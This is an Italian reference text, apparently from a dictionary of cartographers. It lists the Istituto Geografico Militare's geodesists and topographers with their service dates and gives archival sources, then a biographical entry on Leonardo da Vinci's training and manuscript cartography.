1872 – Garbolino cav. Francesco, trasferito nell’Amministrazione del Catasto e nominato Direttore Compartimentale 1887;
1873 – Cloza cav. Giovanni, Ingegnere geografo deceduto sul lavoro a Ghinda (Colonia Eritrea) 1896;
1875 – Pucci cav. Enrico, lascia il servizio nel 1880 perché nominato professore di Geodesia Teoretica nella R. Università di Roma;
1875 – Jadanza cav. Nicodemo, lascia il servizio nel 1881 perché nominato professore di Geodesia Teoretica nella R. Università di Torino;
1878 – Grechi cav. Raffaello, collocato a riposo nel 1918;
1879 – De Bernardinis cav. Giovanni, lascia il servizio nel 1887 perché nominato professore di Geodesia teoretica nella R. Università di Napoli;
1879 – Paganini comm. Pio, Capo della Divisione Trigonometrica, collocato a riposo nel 1910;
1879 – Domeniconi Francesco, morto in servizio nell’esecuzione dei lavori sul Monte Canin (Friuli) 1884;
1879 – Guarducci cav. Federico. Capo dell’Ufficio Geodetico, lascia il servizio nel 1903 perché nominato professore di Geodesia Teoretica nella R. Università di Bologna;
1879 – Ginevri cav. Arnaldo, Capo della Divisione Trigonometrica, morto in servizio nel 1918;
1880 – Mansueti Gherardo, morto in servizio nell’esecuzione dei lavori in Val di Livigno 1883;
1883 – Derchi cav. Francesco, Capo della Divisione Geodetica, collocato a riposo nel 1901;
1885 – Mariani cav. prof. Getulio, Capo dell’Ufficio Meccanico, collocato a riposo nel 1910;
1886 – Vitale cav. Lazzero, collocato a riposo nel 1905;
1888 – Loperfido comm. prof. Antonio, Geodeta Capo, Capo dell’Ufficio Geodetico;
1889 – Busoni Italo, dimissionario 1913;
1896 – Andreini dott. Angelo;

Topografi, secondo la data di entrata in servizio:
1855 – Del Giudice Leopoldo, collocato a riposo nel 1874;
1856 – Barone cav. Giuseppe, collocato a riposo nel 1875;
1856 – Pagano cav. Cesare, collocato a riposo nel 1890;
1856 – Lombardi cav. Tommaso, morto in servizio nel 1887;
1857 – Tascone cav. Vincenzo, collocato a riposo nel 1892;
1857 – Raucci Luigi, collocato a riposo nel 1880;
1857 – Cosentino cav. Nicola, morto in servizio nel 1881;
1858 – Stromei cav. Giovanni, Capo della Divisione Artistica, morto in servizio nel 1891;
1859 – Nacciarone Antonio, collocato a riposo nel 1881;
1859 – Pacileo cav. Nunzio, collocato a riposo nel 1878;
1860 – Rivotti Giovanni, morto in servizio nel 1887;
1860 – Macari cav. Giovanni, collocato a riposo nel 1893;
1860 – Cantalupo Nicomede, morto in servizio nel 1875;
1860 – Bonatti cav. Giuseppe, collocato a riposo nel 1889;
1860 – Taricco Giacomo, morto in servizio nel 1878;
1860 – Modotti cav. Enrico, morto in servizio nel 1879;
1860 – Lissant cav. Francesco, collocato a riposo nel 1882;
1860 – Colao comm. Bruno, Capo della Divisione Artistica, collocato a riposo nel 1882;
1860 – Galante cav. Gerolamo, collocato a riposo nel 1882;
1860 – Vastola cav. Raffaele, collocato a riposo nel 1879;
1860 – Anfosso cav. Angelo, collocato a riposo nel 1876;
1860 – Pugnani cav. Enrico, morto in servizio nel 1879;
1860 – Rostagno cav. Giuseppe, collocato a riposo nel 1876;
1860 – Modotti cav. Edoardo, collocato a riposo nel 1887;
1861 – Ferrero cav. Giovanni, Capo della Divisione Artistica, morto in servizio nel 1892;
1861 – Rimini cav. Giovanni, collocato a riposo nel 1895;
1861 – Bidelli cav. Vittorio, morto in servizio nel 1895;
1861 – Migliaccio cav. Federico, collocato a riposo nel 1899;
1861 – Amaretti Giuseppe, collocato a riposo nel 1874;
1862 – Granchi cav. Ulisse, Capo Catasto della Divisione Fototecnica, collocato a riposo nel 1890;
1862 – Minutolo cav. Pietro, collocato a riposo nel 1892;
1863 – Barelli cav. Carlo, Capo della Divisione Artistica, collocato a riposo nel 1900;
1863 – Bonatti cav. Enrico, morto in servizio nel 1896;
1869 – Martinelli Giuseppe, collocato a riposo nel 1874;
1869 – Trombetti cav. Pompilio, collocato a riposo nel 1894;
1870 – Mercandino Felice, collocato a riposo nel 1888;
1872 – Falangola Angelo, morto in servizio nel 1879;
1872 – Cattaneo Giuseppe, collocato a riposo nel 1875;
1872 – Alberto cav. Francesco, collocato a riposo nel 1891;
1872 – Alsona cav. Giovanni, morto in servizio nel 1895;
1872 – Satta cav. Giovanni, trasferito nell’Amministrazione del Catasto 1888;
1872 – Vassio cav. Luigi, collocato a riposo nel 1905;
1872 – De Notaris cav. Gaetano, collocato a riposo nel 1905;
1872 – Marchegiani comm. Giuseppe, Capo della Divisione Artistica, collocato a riposo nel 1906;
1872 – Bonnevie cav. Ferdinando, collocato a riposo nel 1903;
1872 – Juglaris cav. Giuseppe, morto in servizio nel 1900;
1872 – Torta Secondo, morto in servizio nel 1875;
1872 – Celsa Baldassare;
1872 – Caratelli Giorgio, collocato a riposo nel 1887;
1872 – Giunipero cav. Vittorio, trasferito al Catasto nel 1889;
1873 – Paternoster cav. Antonio, collocato a riposo nel 1899;
1873 – Grà cav. Luigi, trasferito nell’Amministrazione del Catasto 1888;
1873 – Tacchini cav. Angelo, collocato a riposo nel 1910;
1873 – Monticelli Fedele, morto in servizio nel 1887;
1873 – Buscaglione cav. Ernesto, Capo dell’Ufficio di Revisione, morto in servizio nel 1919;
1873 – De Roberto cav. Roberto, collocato a riposo nel 1907;
1873 – Rimbotti cav. Vittorio, dimissionario nel 1877;
1873 – Ciorlieri cav. Gerardo, collocato a riposo nel 1907;
1873 – Carrozza cav. Antonio, collocato a riposo nel 1907;
1873 – Bianchi Attilio, collocato a riposo nel 1905;
1873 – Alessio cav. Ireneo, collocato a riposo nel 1895;
1873 – Manfredi cav. Carlo, trasferito nell’Amministrazione del Catasto nel 1889;
1873 – Parrinello Diego, morto in servizio nel 1879;
1873 – Marchisio cav. Luigi, collocato a riposo nel 1900;
1873 – Santopadre Salvatore, morto in servizio nel 1889;
1873 – Porta cav. Clemente, collocato a riposo nel 1901;
1873 – D’Aste cav. Giovanni, collocato a riposo nel 1896;
1874 – Moretti cav. Paolo, collocato a riposo nel 1883;
1874 – Marzano cav. Gennaro, collocato a riposo nel 1892;
1874 – De Giudice cav. Francesco, collocato a riposo nel 1899;
1874 – Giacometti Antonio, collocato a riposo nel 1876;
1874 – Leonardi cav. Enrico, collocato a riposo nel 1920;
1874 – Vozzi cav. Salvatore, trasferito nell’Amministrazione del Catasto nel 1889;
1874 – Buonvino Goffredo, collocato a riposo nel 1876;
1874 – Formica Bartolomeo, collocato a riposo nel 1876;
1874 – Dosio cav. Luigi, trasferito nell’Amministrazione del Catasto nel 1890;
1874 – De Napoli cav. Salvatore, trasferito nell’Amministrazione del Catasto nel 1889;
1874 – Sisto Giuseppe, morto in servizio nel 1887;
1874 – Comandoli cav. Ranieri, morto in servizio nel 1914;
1874 – Romagnoli Pilade, morto in servizio nel 1878;
1874 – Stanghi cav. Raffaele, collocato a riposo nel 1900;
1874 – Vanni cav. Narciso, trasferito nell’Amministrazione del Catasto nel 1889;
1874 – Alari cav. Ferdinando, collocato a riposo nel 1911;
1874 – Aliberti cav. Melchiorre, collocato a riposo nel 1894;
1874 – Galli cav. Pio, collocato a riposo nel 1906;
1874 – Napolitano cav. Cammillo, trasferito nell’Amministrazione del Catasto nel 1888;
1874 – Lindri cav. Attilio, collocato a riposo nel 1905;
1874 – Cataldi cav. Carlo, collocato a riposo nel 1907;
1874 – Rossi cav. Paolo, collocato a riposo nel 1905;
1874 – Scicali Vincenzo, collocato a riposo nel 1876;
1874 – Savoca cav. Michele, collocato a riposo nel 1905;
1874 – Di Piramo Alberto, morto in servizio nel 1892;
1874 – Veccia Arrigo, dimissionario nel 1876;
1874 – Ercolani cav. Amadio, morto in servizio nel 1899;
1874 – Palmarocchi cav. Filippo, collocato a riposo nel 1914;
1874 – Amadei cav. Pompeo, trasferito nell’Amministrazione del Catasto nel 1888;
1874 – Liserani cav. Raffaele, collocato a riposo nel 1920;
1874 – Dal Pozzo cav. Giuseppe, collocato a riposo nel 1921;
1875 – Cattaneo Giuseppe, morto in servizio nel 1878;
1875 – Piana Giacinto, dimissionario nel 1898;
1875 – Cepparelli cav. Augusto, collocato a riposo nel 1909;
1875 – Gatt cav. Michele, Capo della Divisione Artistica, collocato a riposo nel 1920;
1875 – Vasari Francesco, trasferito nell’Amministrazione del Catasto nel 1888;
1876 – Ponzoni cav. Italiano, collocato a riposo nel 1909;
1876 – Lori cav. Annibale, collocato a riposo nel 1908;
1876 – Bonazzi cav. Bruto, Capo della Divisione Artistica, collocato a riposo nel 1908;
1876 – Bardone cav. Rinaldo, trasferito nell’Amministrazione del Catasto nel 1889;
1876 – Pietropoli Cesare, morto in servizio nel 1904;
1876 – Martellettti cav. Giovanni, collocato a riposo nel 1909;
1876 – Rimbotti cav. Dialma, Capo della Divisione Topografica, collocato a riposo nel 1920;
1876 – Capponi cav. Felice, Capo dell’Ufficio Tecnico cartografico, morto in servizio nel 1919;
1876 – Pestelli Rogero, morto in servizio nel 1902;
1876 – Armandi cav. Francesco, collocato a riposo nel 1915;
1876 – Palmarocchi Vincenzo, morto in servizio nel 1891;
1876 – Crivellari cav. Giuseppe, Capo della Divisione Topografica;
1876 – Sforza cav. Vincenzo, collocato a riposo nel 1920;
1876 – Marchi cav. Gaetano;
1876 – Lensi Natale, morto in servizio nel 1904;
1876 – Borzini cav. Luigi, Capo della Divisione Artistica;
1876 – Croveris cav. Giovanni, trasferito nell’Amministrazione del Catasto nel 1889;
1877 – Soldaini cav. Vittorio, Capo della Divisione Fototecnica;
1877 – Battaglini cav. Gualtiero, collocato a riposo nel 1905;
1877 – Ferretre cav. Enrico, collocato a riposo nel 1905;
1879 – Cosentino Giovanni, morto in servizio nel 1915;
1881 – Minezzi Eugenio, morto in servizio nel 1889;
1881 – Robusti Giacinto, morto in servizio nel 1890;
1882 – Marchi Pietro, morto in servizio nel 1919;
1882 – Burci Augusto;
1883 – Carli cav. Italo, morto in servizio nel 1922;
1883 – Puccini cav. Ettore;
1883 – Poltri Tannucci Francesco, dimissionario nel 1891;
1883 – Rocchi Vincenzo, morto in servizio nel 1918;
1883 – Buccioni cav. Arturo;
1883 – Ghiaroni cav. Ugo;
1883 – Valle Umberto, morto in servizio nel 1905;
1883 – Varaldo cav. Giuseppe;
1883 – Roda Roberto, morto in servizio nel 1891;
1883 – Gaube Francesco;
1883 – Torchiana Alfredo;
1883 – Olivetti Oliviero, collocato a riposo nel 1920;
1883 – Barbetti Pietro, morto in servizio nel 1888;
1883 – Macari cav. Vittorio;
1883 – Bezzi cav. Alberto;
1883 – Bucchia Achille, dimissionario nel 1899;
1883 – Chiostri cav. Attilio;
1883 – Cellai cav. Napoleone;
1883 – Scheggi Ettore, morto in servizio nel 1907;
1883 – Morgari Oddino, dimissionario nel 1890;
1883 – Fanfani Giovanni;
1883 – Zuti Augusto;
1884 – Marradi Giuseppe, morto in servizio nel 1903;
1884 – Gaggero Antonio, dimissionario nel 1893;
1886 – Mori cav. Attilio, lascia il servizio nel 1915, perché nominato professore di Geografia nella R. Università di Messina;
1886 – Bettazzi Ubaldo, Dimissionario nel 1913 (Assunto in servizio presso l’Istituto Geografico Argentino col grado di Ingegnere geografo);
1886 – Marini Angelo, collocato a riposo nel 1922;
1886 – Grupelli cav. Enrico;
1886 – Concari cav. Achille;
1886 – Leoni Nestore, dimissionario nel 1888;
1886 – Mazzetti Ugo, dimissionario nel 1909 (Assunto in servizio presso l’Istituto Geografico Argentino col grado di Ingegnere geografo);
1886 – Senno Fortunato, morto in servizio in zona di guerra nel 1915;
1886 – Rossi cav. Emanuele;
1886 – Gherardelli cav. Attilio;
1886 – Fiechter cav. Alfredo;
1886 – Rossi cav. Vincenzo;
1886 – D’Aste Giuseppe;
1886 – Antonacci Oreste, dimissionario nel 1909;
1886 – Renzetti cav. Federico, morto in servizio nel l921;
1888 – Cenni Ercole, morto in servizio nel 1904;
1888 – Paoli Napoleone, collocato a riposo nel 1920;
1888 – Troise cav. Giustino, collocato a riposo nel 1920;
1888 – Bargellini Carlo;
1888 – Gallichi Dante;
1888 – Birga Alessandro;
1888 – Naldi Vittorio;
1888 – Cini Giuseppe;
1889 – Candi Alessandro, collocato a riposo nel 1922;
1889 – Coliva Mameli, dimissionario nel 1913 (Assunto in servizio presso l’Istituto Geografico Argentino col grado di Ingegnere geografo);
1889 – Roscini Giuseppe, morto in servizio nel 1917;
1889 – Pira Matteo, morto in servizio nel 1909;
1889 – Alessandrini cav. Randolfo;
1889 – Viglietta Luigi, morto in servizio nel 1916;
1889 – Francolini Palestro, dimissionario nel 1908;
1889 – Urbani Alessandro;
1889 – Mazzoni Paolo;
1889 – Grini cav. Paolo;
1889 – Giua cav. Enrico;
1889 – Barbier cav. Olinto;
1889 – Broccardi cav. Giorgio;
1889 – Galli cav. Giuseppe;
1889 – Giardi cav. Guglielmo;
1889 – Gabardi Brocchi Olivo, morto in servizio nel 1913;
1889 – Venturi Ettore;
1889 – Razzetti Ferruccio;
1889 – Venturi Annibale;
1889 – Vasari cav. Salvatore, morto in servizio nel 1922;
1889 – Bonini Ferdinando, collocato a riposo nel 1920;
1889 – Corti Carlo;
1889 – Capigatti cav. Guido, morto in servizio nel 1917;
1889 – Andreaus Vittorio, morto in servizio nel 1910;
1889 – Rapisardi Pietro;
1889 – Gaeta Alessandro;
1889 – Massari Felice;
1890 – Bianchi Luigi;
1891 – Marchi cav. Guido;
1891 – Minutolo Giovacchino;
1891 – Geri Giulio;
1895 – Rossi Guido;
1896 – Allegretti Filippo;
1896 – Piana Ettore;
1896 – Conedera Giovan Battista, morto in servizio nel 1910;
1900 – Bellandi cav. Corrado;
1900 – Bongi Edoardo, dimissionario nel 1905;
1901 – Cioni Quintilio;
1901 – Del Panta UIisse;
1908 – Favati cav. Umberto;
1908 – Galducci Pietro;
1908 – Bianucci Guido, dimissionario nel 1920;
1908 – Sgrilli Alberto;
1910 – Benicchi Guglielmo;
1910 – Zanini Ireneo;
1910 – Felli Guido;
1910 – Casamorata cav. Cesare;
1910 – Piacenti Giorgio;
1910 – Guardabasso Evandro.

Per quanto attiene invece le attività topocartografiche nei territori coloniali, si segnala la presenza dei seguenti ufficiali:
Bonoldi Antonio, Ceruti Amadeo, Gianni Metello, Sargenti Carlo, Thermes Attilio.

Riferimenti bibliografici e archivistici

Cantile, 2003; Cantile, 2004 (a); Cantile, 2004 (b); Casti, 1992, pp. 13-58; Casti, 1998; Casti e Turco, a cura di, 1998; Cerreti, 1987; Ciampi, 1998, pp. 529-550; Dardano, 1927, vol. II, pp. 630-636; Dardano, 1930, pp. 131-135; De Benedictis, 1895, pp. 3-22; Farinelli, 1978, vol. 6, Atlante, pp. 626-654; Firrao, 1868; Istituto Geografico Militare, 1934; Istituto Geografico Militare, 1939; Istituto Geografico Militare, 1911; Istituto Geografico Militare, 1911; Ludovisi, Mauri e Torresani, 1994; Memorial du Dépot général de la guerre, imprimé par ordre du ministre, 1829; Mori, 1903; Mori, 1922; Pruccoli e Rosani, 2003; Quaini, 1979; Salzano,1982; Scalamandrè, 1931; Spagna, 1989; Traversi, 1964; Valerio, 1993; Valerio, 1996.
Decreto del Presidente della Repubblica n. 429 del 4 luglio 1977, Soppressione ai sensi dell’art. 3 della legge 20 marzo 1975, n. 70, della Commissione geodetica italiana, in “Gazzetta Ufficiale della Repubblica Italiana”, parte prima, del 28 luglio 1977; Legge n. 2564 del 29 giugno 1875, Autorizzazione alla spesa straordinaria di lire 650000 per continuare i lavori della carta topografica generale dell’Italia; Legge n. 4401 del 30 maggio 1878, Stanziamento della somma di lire 4.400.000 nel bilancio del Ministero della Guerra pel compimento della carta topografica d’Italia; Raccolta dei verbali delle riunioni della Commissione italiana per la misura dei gradi dal 1865 al 1894”, Firenze, Biblioteca I.G.M.; Raccolta dei verbali delle riunioni della Commissione italiana per la misura dei gradi dal 1865 al 1894, Processo verbale delle sedute della Commissione italiana per la misura dei gradi, prima riunione dell’anno 1865 in Torino dal 3 al 7 giugno, pag. 3, in Firenze, Biblioteca I.G.M.; Regio decreto, n. 1084 del 27 ottobre 1872, Costituzione, sotto l’alta direzione del Comando generale del Corpo di Stato Maggiore, di un Istituto topografico militare; IGM, Costituzione dell’Istituto, […], 1904, Biblioteca I.G.M., inv. 19493; IGMilitare, Raccolta delle disposizioni concernenti il servizio del R.° Istituto Geografico Militare, marzo 1893, Biblioteca I.G.M., inv. 2947; IGM (fondi storici dell’Archivio geodetico, dell’Archivio fotografico e dell’Archivio topografico); IGM, Biblioteca “Attilio Mori”.

Andrea Cantile, Andrea Masturzo (Siena)

Da Vinci, Leonardo

Leonardo Da Vinci
N. Anchiano, frazione del comune di Vinci 15 aprile 1452
M. 19 aprile 1519

Relazioni di parentela: figlio naturale del notaio Piero e di “certa Caterina

Ente/istituzione di appartenenza:
Qualifica: Pittore, scultore, architetto, ingegnere, anatomista, scienziato e inventore

Biografia:

Produzione scientifica:
Dal 1472 Leonardo risulta già iscritto nel registro della Compagnia di San Luca, corporazione dei pittori fiorentini, pur continuando ad assistere il maestro Verrocchio nella sua bottega. A questo periodo risale il suo celebre Paesaggio, datato 5 agosto 1473 (GDSU, n. 8P), che pur se prodotto in giovane età, già testimonia la presenza di alcuni di quei precetti che ispireranno la sua futura produzione cartografica (Nanni, 2004).
Nel 1478 riceve le prime commesse autonome, anche grazie all’interessamento del padre, e dal 1482 si trasferisce a Milano, alla corte di Ludovico il Moro (Vigevano, Pavia 1452-Loches 1508), dove tra l’altro stringe amicizia e collabora con Luca Pacioli (Borgo San Sepolcro 1445-Roma 1517), figura fondamentale per il suo perfezionamento in campo geometrico-matematico.
Qui trascorre un periodo di intensa attività operativa, di studio e di ricerca, nel cui ambito elabora vari schizzi cartografici, un progetto ed un modello ligneo per la realizzazione del tiburio del duomo; lavora alla sistemazione urbanistica della città di Vigevano ed appronta alcuni progetti per i navigli; si occupa della realizzazione della statua equestre in onore di Francesco Sforza; cura l’allestimento di rappresentazioni teatrali di corte; e si occupa delle decorazioni per la celebrazione delle nozze di Gian Galeazzo ed Isabella d’Aragona e di quelle di Ludovico e Beatrice d’Este.
Dopo la caduta del Moro si trasferisce temporaneamente a Mantova e poi a Venezia, dove viene incaricato di sovrintendere alle attività difensive per contrastare la temuta aggressione dei Turchi lungo l’Isonzo.
Dalla primavera del 1500 è poi nuovamente a Firenze e solo due anni più tardi passa al servizio del duca Cesare Borgia (Roma 1475-Viana, Spagna 1507) come “Architecto et Ingegnero Generale”, occupandosi prevalentemente di attività militari, eseguendo rilevamenti e realizzando carte per esigenze belliche.
L’anno seguente, per interessamento di Niccolò Machiavelli (Firenze 1469-1527), è chiamato dalla Repubblica fiorentina per una consulenza nella guerra contro Pisa, in occasione della quale si occupa ancora di questioni militari e studia la possibilità di canalizzare e di deviare il corso dell’Arno alla volta di Livorno, producendo ancora nuove rappresentazioni cartografiche e disegni per la costruzione del canale di diversione.
Due anni dopo la morte del padre, avvenuta il 9 luglio 1504, si trasferisce nuovamente a Milano, rimanendovi fino al 1512, per interessamento personale del sovrano Luigi XII, che ottiene l’autorizzazione di Firenze e lo nomina “pittore ed ingegnere ordinario del re”. In questo periodo si occupa prevalentemente di studi di ingegneria e di pittura e progetta un monumento equestre mai realizzato.
Dopo la cacciata dei francesi da Milano, viene accolto sotto la protezione del cardinale Giuliano de' Medici, e dal 1514 al 1516, soggiorna a Roma, dove continua gli studi di anatomia e si dedica ad esperimenti scientifici sugli specchi, alla bonifica delle paludi Pontine e ad un progetto per il porto di Civitavecchia.
La morte del cardinale induce poi Leonardo a recarsi in Francia, dove dal 1517 il giovane re, Francesco I di Valois-Angoulême (Cognac 1494-Rambouillet 1547), lo accoglie nel castello di Cloux (oggi Clòs-Lucé), presso Amboise, come suo “pittore, ingegnere, architetto e meccanico”. Lavora al progetto di ampliamento della residenza reale di Romorantin e si dedica al riordino dei suoi numerosi appunti, forse per la redazione definitiva del Libro di pittura. Ancorché paralizzato al braccio destro, trascorre sotto la protezione del re di Francia gli ultimi due anni della sua vita, dedito ancora ai suoi studi.

Sembra che già da fanciullo Leonardo riceva delle non meglio precisate lezioni di “erudizione e principi delle lettere”, senza particolare successo, e di abaco, dove invece “egli in pochi mesi ch’e’ v’attese, fece tanto acquisto, che movendo di continuo dubbi e difficultà al maestro che gl’insegnava, bene spesso lo confondeva” (Vasari, 1966-1987); mentre la prima formazione certa inizia, come accennato dianzi, verso il 1469, con l’apprendistato presso il Verrocchio.
La bottega del maestro orafo, pittore e scultore fiorentino era una vera e propria fucina di arti, uno dei due maggiori centri di produzione artistica della città (l’altra era quella di Antonio Benci, detto il Pollaiolo, Firenze 1431 ca.-Roma 1498), dove, oltre alla realizzazione di quadri, affreschi, gioielli, sculture e suppellettili, venivano affrontati e risolti i più vari e complessi problemi di falegnameria, di metallurgia, di statica, di meccanica, variamente connessi alla realizzazione di opere talvolta ardite per le conoscenze tecnologiche dell’epoca; e qui Leonardo viene quindi a contatto non solo col mondo della pittura, ma anche con quello delle cosiddette artes mechanicae, delle quali subisce un ininterrotto fascino.
Dopo questo fortunato periodo di apprendistato, la vita di Leonardo viene permeata da una formazione autodidattica permanente, che lo conduce all’ampliamento del lessico, all’apprendimento di nozioni di latino e all’approfondimento sempre maggiore degli studi di geometria, di ottica, di matematica, di geografia, di geologia, di idraulica, di meccanica, di anatomia, verso un sapere eclettico, quasi enciclopedico, ancorché frammentario.
L’ampio panorama bibliografico di riferimento per la sua formazione risulta in qualche modo tracciato nelle varie note autografe riportate nei codici Atlantico (BAM, f. 210 r. a), Foster III (LVAM, f. 8 v.), Trivulziano (BTM, f. 2 r.), Leicester (ex BLHH, f. 2 r.; acquistato nel 1994 da Bill Gate), Arundel (LBM, ff. 66 r., 71 v., 79 r., 190 v., 192 v.), (BIF, Ms. L (f. 2 r.), e nei Quaderni d’Anatomia (RLW, I, f. 13 v.), dalle quali è possibile in qualche modo ricostruire la sua biblioteca o, comunque, il quadro generale delle opere da lui consultate.
Attraverso questa formazione eclettica e disorganica fonde in un unicum senza precedenti arti liberali ed arti meccaniche, dalla quale fusione si genera un umus ideale per le sue attività di ricerca e di sperimentazione, che gli apre notevoli possibilità di scoperta, proprio perché si collocava fuori dai canoni di quella tradizione culturale “aristocratica ed estetizzante”, imperante specialmente in Firenze in quel tempo e, talvolta, in netta contrapposizione con “i trombetti e recitatori dell’altrui opere” (BAM, Codice Atlantico, f. 117, r. b).
“Omo sanza lettere” (BAM, Codice Atlantico, f. 119, v. a), risente però per lungo tempo della mancanza di una formazione regolare, che, privandolo della necessaria dimestichezza col latino, gli impedisce l’accesso alle conoscenze della tradizione scientifica del suo tempo (Marinoni, 1952), rendendogli inevitabile il ricorso ad amici dotti, come Luca Pacioli.
Anche per quanto attiene al campo cartografico Leonardo non segue un apprendimento regolare, ma, cura una formazione autodidattica, maturando le sue capacità di cartografazione sia nell’ambito delle più generali pratiche di disegno e rappresentazione artistica, sia nel quadro delle esigenze di progettazione territoriale e di pianificazione di opere connesse alle attività belliche, sia dallo studio di coevi documenti cartografici.
Nel campo del rilevamento edilizio e territoriale giunge presto a padroneggiare i metodi di misura, diretti ed a distanza; esegue in modo agevole stime di grandezze lineari e superficiali; conosce l’uso corretto dei pochi strumenti di misura dell’epoca e ne realizza finanche di propri.
In tale panorama, un posto di particolare interesse per gli aspetti legati al rilevamento ed alla rappresentazione del territorio è rappresentato dalla lettura del piccolo Ex ludis rerum mathematicarum di Leon Battista Alberti (Genova 1404-Roma 1472), della Spera di Goro Dati, del Dottrinale di Jacopo Alighieri, del De Re Militari di Roberto Valturio (Rimini 1405-1475), del Perspectiva di Witelo (Polonia 1230/35-1275 c.a), del Trattato di architettura militare e civile di Francesco di Giorgio Martini (Siena 1439-1502).

Produzione di cartografia manoscritta:
La produzione cartografica di Leonardo è varia e vasta ed è presente nei suoi manoscritti sotto forma di semplici schizzi, di brogliacci di campagna, di itinerari, di eidotipi e di carte in forma finita.
L’attenzione verso questo ampio materiale manoscritto nasce a partire dal XIX secolo, con la pubblicazione dei primi studi di Richard Henry Major (1866), mentre successivi contributi vengono poi in ordine di tempo per opera di una decina circa di ricercatori, tra i quali spicca l’opera sistematica e continua di Mario Baratta, che per quasi quarant’anni attraversa in lungo e largo l’intera produzione cartografica del Vinciano, dandone puntuale ed ampia illustrazione.
Alla luce di quanto sin qui emerso sull’operato di Leonardo in campo cartografico, unitamente ad alcuni, fondamentali precetti ed atti, derivanti dal suo più generale impegno in campo artistico, scientifico e tecnologico, si può affermare che il suo avvicinamento alla rappresentazione cartografica, non derivi da intenti di tipo professionale, ma nasce da specifiche necessità di studio, da riflessioni di ordine cosmologico e da esigenze di analisi, finalizzate alla progettazione territoriale o alla pianificazione di attività belliche. In tal senso, la sua produzione si distingue nettamente da quella dei cartografi professionisti, che lavoravano specificamente per la realizzazione di documenti destinati a terzi (Cantile, 2003).
In rapporto alle riflessioni cosmologiche, nei suoi manoscritti si rintracciano diverse considerazioni di carattere generale sulla Terra, sul Sole sulla Luna, oltre a vari schizzi, che testimoniano l’interesse verso il problema della rappresentazione del globo sul piano, come ai fogli 178 v. a, 191 r. b e 279 del Codice Atlantico, mentre un appunto con chiaro riferimento alla funzione dei paralleli si ritrova nel Ms. M, f. 5 v. Nei citati disegni dei fogli 178 e 191 del Codice Atlantico vi sono poi schizzi vari, che testimoniano i tentativi fatti da Leonardo per l’applicazione in piano della superficie terrestre, con scomposizione in fusi e sviluppo in piano, che anticipa in qualche modo il principio della proiezione cilindrica trasversa. La migliore esemplificazione dello sviluppo di tali fusi sul piano si ritrova in particolare negli schizzi dei fogli 191 r. b e 279 r. a dello stesso Codice Atlantico, nei quali Leonardo dà prova dell’intuizione dei limiti della applicabilità della sfera sul piano, attraverso l’impiego di triangoli sferici, giustapposti a mo’ di croce greca, o “rappresentazione a farfalla” (Almagià, 1953), la cui genesi viene mostrata nel foglio 191 r. b, nel quale il globo è diviso in due emisferi separati e ciascuno di questi a sua volta è diviso in quattro triangoli sferici, che ricoprono l’intera superficie terrestre.
I limiti di applicabilità della sfera sul piano sono poi desumibili dal foglio 207 v. a del Codice Atlantico, che dimostra “come Leonardo voleva porre nel ‘sito dell’equalità’ un triangolo equilatero curvilineo e trasformare così un triangolo ‘sferico’ in un ‘triangolo rettilineo della medesima capacità del triangolo sferico, e (soggiunge Leonardo) 8 di tali triangoli faranno una superficie piana equale alla superfizie della detta sfera’ (Carusi, 1939), ma alla fine giunge alla conclusione che la tesi è errata. Da tali riflessioni scaturiscono poi nella seconda metà dell’Ottocento le ipotesi circa la costruzione da parte di Leonardo di un mappamondo, identificato in quello della collezione di Windsor (Major, 1866) e confutata molto più tardi (Carusi, 1941; Marcolongo, 1941).
Per entrare nel merito delle sue opere cartografiche, finite o non che esse siano, bisogna preliminarmente spostare l’attenzione dal mondo delle mappe a quello della rappresentazione in generale, conseguibile attraverso il disegno e la pittura, che per Leonardo non sono semplicemente un “linguaggio per dire visivamente cose già conosciute, sono la chiave con cui si penetra nel mondo dei fenomeni: più precisamente sono il mezzo con cui l’evento o l’accidente visivo si costituisce alla coscienza come fenomeno” (Argan, 1985, p. 15). È infatti dai precetti derivanti dal Libro di pittura (Leonardo Da Vinci, 1996) che si costruisce il quadro teorico di riferimento per la sua produzione cartografica (Cantile, 2003).
Ad esclusione delle poche carte derivate, che Leonardo esegue a partire da modelli tolemaici, tutta la sua produzione cartografica è realizzata sulla base di una previa documentazione in loco, che prevede la ricognizione, la registrazione delle caratteristiche generali del sito, con disegni dal vero, e l’annotazione di distanze, di direzioni, di allineamenti. I disegni dal vero sono talvolta costituiti da semplici schizzi, privi di riferimento toponomastico o di note che possano in qualche modo indicarne la collocazione spaziale; certe volte sono appunti di percorsi stradali, itinerari dettagliati con indicazioni toponomastiche e di distanze tra località di interesse; altre volte sono bozzetti appuntati velocemente, con note su alcuni particolari topografici di interesse o peculiarità del luogo degne di nota; ed altre volte ancora sono dei veri e propri eidotipi, con schizzi planimetrici o scorci prospettici, corredati da determinazioni metriche associate.
Nella vasta categoria dei disegni dal vero, per la loro importanza ai fini della ricostruzione del metodo adottato da Leonardo nella realizzazione delle carte (Cantile, 2003), emergono in particolare il disegno Milano in fondamenta (BAM, Codice Atlantico f. 199 v), l’eidotipo realizzato per il rilevamento di Imola (RLW, 12686), al quale è strettamente connessa la celebre Pianta di Imola (RLW, 12284 r), opera per la quale sono state espresse anche perplessità circa la sua attribuzione al Maestro (Mancini, 1979), ed il brogliaccio di campagna noto come Vista della Valdichiana (RLW, 12682).
Il primo di questi disegni, Milano in fondamenta (BAM, Codice Atlantico, f. 199 v), cioè in pianta, fornisce una chiara testimonianza della registrazione di direzioni radiali a partire da un centro di osservazione, con di un giro d’orizzonte, finalizzato alla realizzazione di una mappa della città, che a quanto risulta non è stata mai eseguita da Leonardo, e che offre i primi indizi sulla probabile applicazione del metodo di rilevamento per coordinate polari. Mentre tracce ancor più concrete dell’applicazione, ancorché non sistematica, di tale metodo, si riscontrano nella Pianta di Imola (RLW, 12284 r), dove si trovano le registrazioni autografe degli azimut magnetici e delle distanze di località circostanti dal centro della cittadina emiliana. Queste direzioni e distanze, però, si riferiscono a località esterne all’abitato di Imola, ubicate perlopiù lungo lo stesso allineamento, mentre mancano elementi analoghi che possano testimoniare l’applicazione dello stesso metodo di rilevamento per la costruzione della Pianta. L’eidotipo di Windsor (RLW, 12686) mostra infatti solo il metodo seguito per la registrazione delle dimensioni degli isolati edilizi e degli edifici della cittadina (Clayton, 1996), ma non contiene direzioni angolari, lasciando ancora molti dubbi sull’effettiva metodologia adottata, frutto forse di un rilevamento del circuito murario in analogia con quanto riportato nei grafici del Ms. L (in BIF), per il rilevamento delle città di Cesena ed Urbino (De Toni, 1965) e di un completamento eseguito su basi empiriche (Cantile, 2003).
